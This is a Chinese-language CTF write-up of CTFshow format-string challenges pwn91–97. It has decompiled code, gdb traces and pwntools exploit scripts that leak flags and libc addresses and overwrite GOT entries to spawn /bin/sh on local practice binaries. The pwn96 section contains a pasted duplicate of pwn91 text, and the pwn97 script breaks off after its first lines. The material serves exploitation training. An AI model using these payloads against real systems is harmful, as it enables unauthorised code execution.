格式化字符串

pwn91

Hint:开始格式化字符串了,先来个简单的吧

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位关闭PIE,部分开启RELRO

IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
init(&argc);
logo();
ctfshow();
if ( daniu == 6 )
{
puts("daniu praise you for a good job!");
system("/bin/sh");
}
return 0;
}

可以看到当daniu = 6 的时候即可获的一个shell

跟进ctfshow函数:

unsigned int ctfshow()
{
char s[80]; // [esp+Ch] [ebp-5Ch] BYREF
unsigned int v2; // [esp+5Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
memset(s, 0, sizeof(s));
read(0, s, 0x50u);
printf(s);
printf("daniu now is :%d!\n", daniu);
return __readgsdword(0x14u) ^ v2;
}

可以看到这里的ptintf(s)明显的存在格式化字符串漏洞,第一次接触,不知道为啥这里就存在漏洞?别急后面会逐步讲解。

首先将数组s初始化为0,清除数组中的内容,然后读取0x50的数据到字符数组s中。

printf(s); 使用用户输入的内容作为格式字符串,进行 printf 输出。这里存在格式字符串漏洞

我们可以先简单尝试一下,先正常输入字符,看起来没有问题:

$ ./pwn
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Format_String
* Site : https://ctf.show/
* Hint : Very Ez !
* *************************************
rhea
rhea
daniu now is :0!

但是当我们输入特殊的格式字符时候会输出特定的内容:

$ ./pwn
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Format_String
* Site : https://ctf.show/
* Hint : Very Ez !
* *************************************
%p
0xffcd2f0c
daniu now is :0!

后续知识在下面会讲解,接着回到这题,我们看一下daniu:

.bss:0804B038                 public daniu
.bss:0804B038 daniu dd ? ; DATA XREF:

daniu的地址为:0x804B038

可以看到daniu在bss段,测一下格式化字符串的偏移:

$ ./pwn
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Format_String
* Site : https://ctf.show/
* Hint : Very Ez !
* *************************************
AAAA-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x
AAAA-fff9d7ec-50-804870a-46-e97b5d40-fff9d828-41414141-2d78252d-252d7825-78252d78-2d78252d-252d7825-78252d78-2d78252d-252d7825-78252d78
daniu now is :0!

A的 ASCII 码是 0x41,所以偏移为7

进行验证一下:

$ ./pwn
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Format_String
* Site : https://ctf.show/
* Hint : Very Ez !
* *************************************
aaaa%7$p
aaaa0x61616161
daniu now is :0!
$ ./pwn
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Format_String
* Site : https://ctf.show/
* Hint : Very Ez !
* *************************************
aaaa%7$x
aaaa61616161
daniu now is :0!

我们需要让daniu = 6,现在又有格式化字符串漏洞,我们就可以使用其任意地址写功能将daniu的值修改为6即可获得shell

这里使用pwntools模块中的fmtstr模块直接进行改写:

fmtstr_payload(7,{daniu:6})
"""
该函数的作用是自动生成一段格式化字符串,当程序执行到该字符串时,会将daniu变量的内存地址处的值修改为6,无需手动构造复杂的格式化字符序列(如 %7$n这类写法)

7:表示偏移量,指输入的格式化字符串中,变量的地址在栈上的位置索引为7。
{daniu: 6}:是一个字典参数,表示要执行的写入作:
键 是目标内存地址(通常是一个变量的地址)。daniu
值 是要写入该地址的目标数值。6
"""
from pwn import *
context.log_level = 'debug'
io = process('./pwn')
daniu = 0x804B038
payload = fmtstr_payload(7,{daniu:6})
io.sendline(payload)
io.interactive()
$ python3 exp.py
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Format_String
* Site : https://ctf.show/
* Hint : Very Ez !
* *************************************
\xaca8\xb0\x04\x08
daniu now is :6!
daniu praise you for a good job!
$ ls
ctfshow_flag

pwn92

Hint:可能上一题没太看懂?来看下基础吧

先运行一下程序:

$ chmod +x pwn
$ ./pwn
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Format_String
* Site : https://ctf.show/
* Hint : Look at the difference !
* *************************************
Here is some example:
Hello CTFshow %
Hello CTFshow!
Num : 114514
Format Strings
A
Hello
A
Hello!
Strings Format

Enter your format string: rhea
The flag is :rhea

检查保护:

$ checksec pwn
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

64位保护全开

IDA查看main函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
logo();
puts("Here is some example:");
example();
flagishere();
return 0;
}

可以看到输出了一些实例,跟进看一下example:

unsigned __int64 example()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Hello CTFshow %%\n");
puts("Hello CTFshow!");
printf("Num : %d\n", 114514);
printf("%s %s\n", "Format", "Strings");
printf("%12c\n", 65);
printf("%16s\n", "Hello");
printf("%12c%n\n", 65, &v1);
printf("%16s%n\n", "Hello!", &v1);
printf("%2$s %1$s\n", "Format", "Strings");
printf("%42c%1$n\n", &v1);
return __readfsqword(0x28u) ^ v2;
}

然后这里大家可以对照输出的结果来进行查看输出了一些什么东西。

对于题目来讲,我们仅需跟进flagishere函数:

unsigned __int64 flagishere()
{
FILE *stream; // [rsp+8h] [rbp-68h]
char format[10]; // [rsp+16h] [rbp-5Ah] BYREF
char s[72]; // [rsp+20h] [rbp-50h] BYREF
unsigned __int64 v4; // [rsp+68h] [rbp-8h]

v4 = __readfsqword(0x28u);
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
printf("Enter your format string: ");
__isoc99_scanf("%9s", format);
printf("The flag is :");
printf(format, s);
return __readfsqword(0x28u) ^ v4;
}

这里我们可以看到使用用户输入的格式化字符串将 s 输出,那么我们如果需要获取flag,仅仅需要使用 %s 输出flag字符串即可获取flag【当用户输入的 format"%s"时,程序中执printf(format, s)就等价于直接调用printf("%s", s)%s会指示读取第二个参数(即 flag 所在的地址)。】

一些常见的转换指示符和长度如下:

指示符 类型 输出
%d 4 byte 整数(Integer)
%u 4 byte 无符号整数(Unsigned Integer)
%x 4 byte 十六进制(Hex)
%s 4 byte 字符串(String)
%c 1 byte 字符(Character)
长度 类型 输出
hh 1 byte 字符(char)
h 2 byte 短整数(short int)
l 4 byte 长整数(long int)
II 8 byte 长长整数(long long int)
from pwn import *
context.log_level = 'debug'
io = process('./pwn')
io.sendline('%s')
io.interactive()
$ python3 exp.py
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Format_String
* Site : https://ctf.show/
* Hint : Look at the difference !
* *************************************
Here is some example:
Hello CTFshow %
Hello CTFshow!
Num : 114514
Format Strings
A
Hello
A
Hello!
Strings Format
\xa4
Enter your format string: The flag is :flag{just_test_my_process}
[*] Got EOF while reading in interactive

pwn93

Hint:emmm,再来一道基础原理?

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

64位保护全开

IDA查看main函数

int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
menu();
puts("Enter your choice: ");
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1:
func1();
break;
case 2:
func2();
break;
case 3:
func3();
break;
case 4:
func4();
break;
case 5:
func5();
break;
case 6:
nothing_here();
break;
case 7:
exit0();
break;
default:
puts("Invalid choice. Please enter a valid option.");
break;
}
return 0;
}

跟进menu函数:

int menu()
{
puts("Choose an option:");
puts("1.Crash the program");
puts("2.Stack data breaches");
puts("3.Arbitrary address memory leak");
puts("4.Stack data override");
puts("5.Arbitrary address memory override");
return puts("6. ... ");
}

分别跟进各个函数,给大家演示了一些基本用法。获取flag的地方在case 7 exit0()函数,跟进后发现其实是一个后门函数:

unsigned __int64 exit0()
{
FILE *stream; // [rsp+8h] [rbp-58h]
char s[72]; // [rsp+10h] [rbp-50h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h]

v3 = __readfsqword(0x28u);
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
printf("%s", s);
return __readfsqword(0x28u) ^ v3;
}

也就是说读取用户输入的时候输入7即可获得flag。

看一下其他的函数吧

; Attributes: bp-based frame

; __int64 func1(void)
public func1
func1 proc near
/*func1 是一个公开可见的函数(public),proc near 表示这是一个近过程(near procedure),即调用该函数时只需要偏移地址而不需要段地址*/
; __unwind {
push rbp
mov rbp, rsp
/*这是 x86-64 汇编中函数开始的标准指令序列:
- 保存基址指针(rbp)到栈上
- 将栈指针(rsp)的值赋给基址指针(rbp),建立新的栈帧*/
lea rdi, aSSSSSSSSSSSSSS ; "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%"...
mov eax, 0
call _printf
/*这部分是函数的核心操作:
- lea rdi, aSSSSSSSSSSSSSS:将一个字符串常量的地址加载到 rdi 寄存器。这个字符串看起来是由很多 %s 格式说明符组成的(用于 printf 函数)
- mov eax, 0:将 eax 寄存器清零。在 x86-64 调用约定中,eax 用于指定浮点参数的数量,这里为 0 表示没有浮点参数
- call _printf:调用 printf 函数,输出前面加载的字符串*/
nop
pop rbp
retn
/*这是函数结束的标准指令序列:
- nop:空操作,可能是编译器为了对齐而插入的
- pop rbp:从栈上恢复之前保存的基址指针
- retn:返回调用者,相当于弹出栈上的返回地址并跳转到该地址*/
; } // starts at A87
func1 endp
/*func1 函数的结束*/
$ ./pwn
Enter your choice:
1
Segmentation fault (core dumped)

“段错误”:程序试图访问不属于它的内存区域,或者对内存进行了非法操作。崩溃发生在 strlen函数内部(__strlen_avx2是 glibc 的优化版 strlen),strlen被调用是因为 printf遇到 %s时,会尝试读取栈上的一个地址并计算其长度,当 printf尝试用这些无效地址调用 strlen时,触发 Segmentation Fault

int __fastcall func2(__int64 a1, int a2, int a3, const void *a4, const void *a5, const void *a6)
{
return printf("%08x-%07x-%p-%p-%p", a2, a3, a4, a5, a6);
}

格式字符串”%08x-%07x-%p-%p-%p”,定义了输出格式:

  • %08x:以 8 位十六进制数输出,不足 8 位则前面补 0(对应参数 a2
  • %07x:以 7 位十六进制数输出,不足 7 位则前面补 0(对应参数 a3
  • %p:以指针格式(通常是十六进制)输出内存地址(分别对应 a4a5a6

gdb 调试看详细信息

gdb pwn进入调试,b func2打断点,r运行,输入 2,n步进至 printf 函数处

 RAX  0
RBX 0x7ffc48c971f8 —▸ 0x7ffc48c986f6 ◂— '/CTFshow_pwn/pwn'
RCX 0
RDX 0xfffffffffffff7f2
RDI 0x6525b9c01381 ◂— and eax, 0x2d783830 /* '%08x-%07x-%p-%p-%p' */
RSI 2
R8 0xa
R9 0
R10 0x7439560a0fc0 (_nl_C_LC_CTYPE_toupper+512) ◂— 0x100000000
R11 0x7439560f28e0 (_IO_2_1_stdin_) ◂— 0xfbad208b
R12 1
R13 0
R14 0
R15 0x74395614c000 (_rtld_global) —▸ 0x74395614d2e0 —▸ 0x6525b9c00000 ◂— jg 0x6525b9c00047
RBP 0x7ffc48c970b0 —▸ 0x7ffc48c970d0 —▸ 0x7ffc48c97170 —▸ 0x7ffc48c971d0 ◂— 0
RSP 0x7ffc48c970b0 —▸ 0x7ffc48c970d0 —▸ 0x7ffc48c97170 —▸ 0x7ffc48c971d0 ◂— 0
*RIP 0x6525b9c00aaf (func2+16) ◂— call printf@plt
RDI  0x6525b9c01381 ◂— '%08x-%07x-%p-%p-%p'  ; printf的第1个参数:格式字符串
RSI 2 ; printf的第2个参数:对应%08x(即a2)
RDX 0xfffffffffffff7f2 ; printf的第3个参数:对应%07x(即a3)
RCX 0 ; printf的第4个参数:对应第一个%p(即a4)
R8 0xa ; printf的第5个参数:对应第二个%p(即a5)
R9 0 ; printf的第6个参数:对应第三个%p(即a6)

程序实际输出与调试对应验证:

$ ./pwn
Enter your choice:
2
00000002-fffff7f2-(nil)-0xa-(nil)(pip_venv)
; Attributes: bp-based frame

; __int64 func3(void)
public func3
func3 proc near
; __unwind {
push rbp
mov rbp, rsp
lea rdi, aAaaaPPPPPPPPPP ; "AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%"...
mov eax, 0
call _printf
/*lea rdi, aAaaaPPPPPPPPPP:lea 指令将格式字符串的内存地址加载到 rdi 寄存器。根据注释,该字符串是 "AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%"...,包含固定前缀 "AAAA." 和大量 %p 格式符(用于输出指针地址)。
mov eax, 0:在 x86-64 调用约定中,eax 寄存器用于告知被调用函数(这里是 printf)传递了多少个浮点参数。此处为 0,表示没有浮点参数。
call _printf:调用 C 标准库的 printf 函数,输出上述格式字符串。*/
nop
pop rbp
retn
; } // starts at AB7
func3 endp
$ ./pwn
Enter your choice:
3
AAAA.0x3.0xfffffffffffff7fe.(nil).0xa.(nil).0x7fffa2218160.0x616f63000cf0.0x3a2218240.0xd8f9c09f22b8af00.0x7fffa2218200.0x707d328b51ca.0x7fffa22181b0
 RAX  0
RBX 0x7ffe0cc74f38 —▸ 0x7ffe0cc766f6 ◂— '/CTFshow_pwn/pwn'
RCX 0
RDX 0xfffffffffffff7fe
RDI 0x55c5c9801398 ◂— and eax, 0x70252e70 /* 'AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p' */
RSI 3
R8 0xa
R9 0
R10 0x76c4f7472fc0 (_nl_C_LC_CTYPE_toupper+512) ◂— 0x100000000
R11 0x76c4f74c48e0 (_IO_2_1_stdin_) ◂— 0xfbad208b
R12 1
R13 0
R14 0
R15 0x76c4f751e000 (_rtld_global) —▸ 0x76c4f751f2e0 —▸ 0x55c5c9800000 ◂— jg 0x55c5c9800047
RBP 0x7ffe0cc74df0 —▸ 0x7ffe0cc74e10 —▸ 0x7ffe0cc74eb0 —▸ 0x7ffe0cc74f10 ◂— 0
RSP 0x7ffe0cc74df0 —▸ 0x7ffe0cc74e10 —▸ 0x7ffe0cc74eb0 —▸ 0x7ffe0cc74f10 ◂— 0
*RIP 0x55c5c9800ac7 (func3+16) ◂— call printf@plt

输出完寄存器上的

  • RSI = 3 → 第一个 %p 输出 0x3
  • RDX = 0xfffffffffffff7fe → 第二个 %p 输出 0xfffffffffffff7fe
  • RCX = 0 → 第三个 %p 输出 (nil)(空指针)
  • R8 = 0xa → 第四个 %p 输出 0xa
  • R9 = 0 → 第五个 %p 输出 (nil)

还有栈上的

00:0000│ rbp rsp 0x7ffe0cc74df0 —▸ 0x7ffe0cc74e10 —▸ 0x7ffe0cc74eb0 —▸ 0x7ffe0cc74f10 ◂— 0
01:0008│+008 0x7ffe0cc74df8 —▸ 0x55c5c9800cf0 (main+166) ◂— jmp main+229
02:0010│+010 0x7ffe0cc74e00 ◂— 0x30cc74ef0
03:0018│+018 0x7ffe0cc74e08 ◂— 0x6ad20f725ab27500
04:0020│+020 0x7ffe0cc74e10 —▸ 0x7ffe0cc74eb0 —▸ 0x7ffe0cc74f10 ◂— 0
05:0028│+028 0x7ffe0cc74e18 —▸ 0x76c4f72eb1ca (__libc_start_call_main+122) ◂— mov edi, eax
06:0030│+030 0x7ffe0cc74e20 —▸ 0x7ffe0cc74e60 ◂— 0
07:0038│+038 0x7ffe0cc74e28 —▸ 0x7ffe0cc74f38 —▸ 0x7ffe0cc766f6 ◂— '/CTFshow_pwn/pwn'
unsigned __int64 func4()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("%0134512640d%n\n", 1, &v1);
return __readfsqword(0x28u) ^ v2;
}
  • %0134512640d
    • %d 表示输出整数。
    • 134512640最小字段宽度,表示输出的整数至少要占 134512640 个字符位置。
    • 0 表示不足时用 0 填充(而非默认的空格)。
    • 实际输出:将参数 1 格式化为一个前面补了 1345126390 的字符串(总长度 134512640)。
  • %n
    • 这是一个特殊格式符,它不输出内容,而是将当前已输出的字符数写入后面的指针参数(这里是 &v1)。
    • 因此,v1 最终会被赋值为 134512640(因为 %0134512640d 刚好输出了这么多字符),再加上 \n 是第 134512641 个字符?注意:%n 统计的是它之前的输出长度,\n%n 之后,因此 v1 的值是 134512640

v1rbp-0xc

进 gdb 调试,单步执行到lea,用x/bx $rbp-0xc看初始值

 ► 0x5b856ce00ae6 <func4+23>    lea    rax, [rbp - 0xc]             RAX => 0x7ffe77e51dd4 ◂— 0xfd95d60000000000

pwndbg> x/bx $rbp-0xc
0x7ffe77e51dd4: 0x00

运行到 printf 再看 v1 的值

pwndbg> x/bx $rbp-0xc
0x7ffe77e51dd4: 0x00
unsigned __int64 func5()
{
int v1; // [rsp+1h] [rbp-2Fh] BYREF
__int64 v2; // [rsp+8h] [rbp-28h] BYREF
__int64 v3; // [rsp+10h] [rbp-20h] BYREF
char Hello_CTFshow_[14]; // [rsp+1Ah] [rbp-16h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
strcpy(Hello_CTFshow_, "Hello CTFshow");
printf("%s %hhn\n", Hello_CTFshow_, &v1);
printf("%s %hn\n", Hello_CTFshow_, (int *)((char *)&v1 + 1));
printf("%s %n\n", Hello_CTFshow_, (int *)((char *)&v1 + 3));
printf("%s %ln\n", Hello_CTFshow_, &v2);
printf("%s %lln\n", Hello_CTFshow_, &v3);
return __readfsqword(0x28u) ^ v5;
}
格式符 含义 写入字节数 对应变量类型
%hhn 输出计数写入 1 字节内存 1 字节 char*(或 int* 强制转换)
%hn 输出计数写入 2 字节内存 2 字节 short*(或 int* 强制转换)
%n 输出计数写入 4 字节内存 4 字节 int*
%ln 输出计数写入 4/8 字节内存(取决于编译器) 通常 8 字节 long*
%lln 输出计数写入 8 字节内存 8 字节 long long*__int64*
$ ./pwn
Enter your choice:
5
Hello CTFshow
Hello CTFshow
Hello CTFshow
Hello CTFshow
Hello CTFshow

pwn94

Hint:好了,你已经学会1+1=2了,接下来继续加油吧

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位关闭PIE,部分开启RELRO

IDA查看main函数:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
init();
logo();
ctfshow();
}

跟进ctfshow函数:

void __noreturn ctfshow()
{
char buf[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v1; // [esp+6Ch] [ebp-Ch]

v1 = __readgsdword(0x14u);
while ( 1 )
{
memset(buf, 0, sizeof(buf));
read(0, buf, 0x64u);
printf(buf);
}
}

进入一个循环,然后其中有明显的格式化字符串漏洞[使用printf(buf)而不是安全的printf("%s", buf)]

看到程序中有system函数:

void sys()
{
system("echo Write here!");
}

还是可以用格式化字符串漏洞任意写的,将printf_got 指针指向的地址改为 system_plt

在printf(),就相当于 system()了,如果我们再发送 “/bin/sh\x00”,作为其参数,就能getshell了。

$ ./pwn
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Format_String
* Site : https://ctf.show/
* Hint : Write any address !
* *************************************
aaaa%p-%p-%p-%p-%p-%p-%p-%p
aaaa0xffce65b8-0x64-0x80486e5-0x10-0xeb28dfe8-0x61616161-0x252d7025-0x70252d70

偏移量为6

from pwn import *
context.log_level = 'debug'
io = process('./pwn')
elf = ELF('./pwn')
offset = 6
printf_got = elf.got['printf']
system_plt = elf.plt['system']
payload = fmtstr_payload(offset,{printf_got:system_plt})
io.sendline(payload)
io.recv()
io.sendline(b'/bin/sh\x00')
io.interactive()
$ python3 exp1.py
[+] Starting local process './pwn': pid 156
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes
[*] Switching to interactive mode
$ ls
ctfshow_flag

pwn95(ubutu18)

Hint:加大了一点点难度,不过对你来说还是so easy 吧

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes

32位关闭PIE,部分开启RELRO

IDA查看main函数,跟进ctfshow:

void __noreturn ctfshow()
{
char buf[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v1; // [esp+6Ch] [ebp-Ch]

v1 = __readgsdword(0x14u);
while ( 1 )
{
memset(buf, 0, sizeof(buf));
read(0, buf, 0x64u);
printf(buf);
fflush(stdout);
}
}

基本漏洞跟上一题一样,不同的是没有了system函数

$ ./pwn
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Format_String
* Site : https://ctf.show/
* Hint : This time program no system !
* *************************************
aaaa%p-%p-%p-%p-%p-%p-%p-%p
aaaa0xfff1d608-0x64-0x80486ba-0x18-0xf3128fe8-0x61616161-0x252d7025-0x70252d70

偏移量6

from pwn import *
context.log_level = 'debug'
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

offset = 6

#泄露 printf 的实际地址
printf_got = elf.got['printf']
payload = p32(printf_got) + b'%6$s'
io.send(payload)
printf_addr= u32(io.recvuntil(b'\xf7')[-4:]) # 接收并解析printf的实际地址
print(hex(printf_addr))

libc_base = printf_addr - libc.sym['printf']
print(hex(libc_base))
system_addr = libc_base + libc.sym['system']
payload = fmtstr_payload(offset,{printf_got:system_addr})

io.send(payload)
io.send(b'/bin/sh\x00')
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 62
[*] '/PWN/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes
[*] '/lib/i386-linux-gnu/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0xf7ddb520
0xf7d8a000
[*] Switching to interactive mode
\xf6\x83\x04\x08\x90\x1d\xdf\xf7\xb0.\xda\xf7 \xf8 d \xba \x01aaa\x11\xa0\x04\x08\x10\xa0\x04\x08\x12\xa0\x04\x08\x13\xa0\x04\x08$ls

pwn96

Hint:先找一下偏移

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位程序,关闭Canary与PIE

IDA查看main函数:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char s_[64]; // [esp+0h] [ebp-90h] BYREF
char s[64]; // [esp+40h] [ebp-50h] BYREF
FILE *stream; // [esp+80h] [ebp-10h]
char *s_1; // [esp+84h] [ebp-Ch]
int *p_argc; // [esp+88h] [ebp-8h]

p_argc = &argc;
setvbuf(stdout, 0, 2, 0);
s_1 = s_;
memset(s, 0, sizeof(s));
memset(s, 0, sizeof(s));
puts(asc_8048830);
puts(asc_80488A4);
puts(asc_8048920);
puts(asc_80489AC);
puts(asc_8048A3C);
puts(asc_8048AC0);
puts(asc_8048B54);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Format_String ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Flag on the stack! ");
puts(" * ************************************* ");
puts("It's time to learn about format strings!");
puts("Where is the flag?");
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s_, 64, stream);
while ( 1 )
{
printf("$ ");
fgets(s, 64, stdin);
printf(s);
}
}

还是明显的格式化字符串漏洞,这里告诉我们flag在栈上,然后通过下面printf去显示flag,那么我们直接泄漏就行了,由于内存是小端存储的,所以我们需要倒序输出。

其实手动尝试一下一下就能出来,简单测试一下:

$ ./pwn
It's time to learn about format strings!
Where is the flag?
$ %p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
0x40-0xeac9b5c0-(nil)-(nil)-0xf63d4e2e-0x67616c66-0x73756a7b-0x65745f74-0x6d5f7473-0x72705f79-0x7365636f-0xa7d73-0x1-0xeacb1720-0x1-(nil)

本地flag格式为 “flag{“ 开头,转换为16进制就是 66 6C 61 67 7B

然后倒序就是 0x67616c66 0x73756a7b,很明显,一眼就看出在哪了,不嫌麻烦的话,手动一个一个去转换也能很快拿到flag,嫌麻烦的话就写个脚本。

$ ./pwn
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Format_String
* Site : https://ctf.show/
* Hint : Very Ez !
* *************************************
aaaa%7$p
aaaa0x61616161
daniu now is :0!
$ ./pwn
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Format_String
* Site : https://ctf.show/
* Hint : Very Ez !
* *************************************
aaaa%7$x
aaaa61616161
daniu now is :0!

我们需要让daniu = 6,现在又有格式化字符串漏洞,我们就可以使用其任意地址写功能将daniu的值修改为6即可获得shell

这里使用pwntools模块中的fmtstr模块直接进行改写:

fmtstr_payload(7,{daniu:6})
"""
该函数的作用是自动生成一段格式化字符串,当程序执行到该字符串时,会将daniu变量的内存地址处的值修改为6,无需手动构造复杂的格式化字符序列(如 %7$n这类写法)

7:表示偏移量,指输入的格式化字符串中,变量的地址在栈上的位置索引为7。
{daniu: 6}:是一个字典参数,表示要执行的写入作:
键 是目标内存地址(通常是一个变量的地址)。daniu
值 是要写入该地址的目标数值。6
"""
from pwn import *
context(arch='i386', os='linux', log_level='debug')
io = process('./pwn')
# io = remote('pwn.challenge.ctf.show', 28299)
flag = b'' # 初始化为bytes类型
for i in range(6, 6 + 10): # 读取栈上的数据
payload = f'%{i}$p'.encode() # 转换为字节流发送
io.sendlineafter(b'$ ', payload)
# 接收返回的十六进制字符串,drop=Trueb:b'0x67616c66\n'→b'0x67616c66',replace(b'0x', b''):b'0x67616c66'→b'67616c66',unhex(...):将十六进制字符串转换为对应的字节流(bytes 类型)
addr_str = io.recvuntil(b'\n', drop=True).replace(b'0x', b'')
# 处理奇数长度的十六进制字符串
if len(addr_str) % 2 != 0:
addr_str = b'0' + addr_str # 补全为偶数长度
# 转换为字节并反转(小端序转大端序)
aim = unhex(addr_str)
flag += aim[::-1]

# 提取并打印flag
flag_str = flag.decode(errors='ignore').strip()
print(f"Flag: {flag_str}")
io.close()
$ python3 exp1.py
[+] Starting local process './pwn': pid 360
Flag: flag{just_test_my_process}
\x01 g7\x01
[*] Stopped process './pwn' (pid 360)

pwn97

Hint:覆写某个值满足某条件好像就可以了

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位关闭PIE,部分开启RELRO

IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[64]; // [esp+10h] [ebp-4Ch] BYREF
unsigned int v5; // [esp+50h] [ebp-Ch]
int *p_argc; // [esp+54h] [ebp-8h]

p_argc = &argc;
v5 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
puts(asc_8048A64);
puts(asc_8048AD8);
puts(asc_8048B54);
puts(asc_8048BE0);
puts(asc_8048C70);
puts(asc_8048CF4);
puts(asc_8048D88);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Format_String ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Find a way to elevate your privileges! ");
puts(" * ************************************* ");
puts("You can use two command('cat /ctfshow_flag' && 'shutdown')");
putchar(36);
fgets(s, 64, stdin);
if ( strstr(s, "shutdown") )
{
puts("See you~");
exit(1);
}
if ( !strstr(s, "cat /ctfshow_flag") )
{
puts("Here you are:\n");
printf(s);
}
get_flag();
return 0;
}

可以看到有一个明显的格式化字符串漏洞,跟进get_flag函数:

int get_flag()
{
if ( !check )
return puts("Permission denied.");
puts("Your privileges have been elevated to 'root'.\n#cat /ctfshow_flag");
return flag();
}

这里对check有一个检查,变量 check 被用作条件判断。如果 check 的值为非零(真值),则会执行

特权升级的消息输出和命令提示,然后调用 flag() 函数。否则,如果 check 的值为零(假值),则

会输出 “Permission denied.” 消息。跟进check:

.bss:0804B03D                 align 10h
.bss:0804B040 public check
.bss:0804B040 check dd ? ; DATA XREF: get_flag+11↑r
.bss:0804B040 _bss ends

跟进flag:

int flag()
{
FILE *stream; // [esp+8h] [ebp-40h]
char s[48]; // [esp+Ch] [ebp-3Ch] BYREF
unsigned int v3; // [esp+3Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory");
exit(0);
}
fgets(s, 48, stream);
printf("%s", s);
return 0;
}

那么很明显,我们利用格式化字符串漏洞的任意地址写改写check的值即可满足条件。

$ ./pwn
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Format_String
* Site : https://ctf.show/
* Hint : Find a way to elevate your privileges!
* *************************************
You can use two command('cat /ctfshow_flag' && 'shutdown')
$aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
Here you are:

aaaa-0x8048fbd-0xf54be5c0-(nil)-(nil)-0x1-0xf5510a20-0xff844e04-(nil)-0xff844f0b-0x2-0x61616161-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025
Permission denied.

偏移量11

from pwn import*
context.log_level = "debug"
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28145)
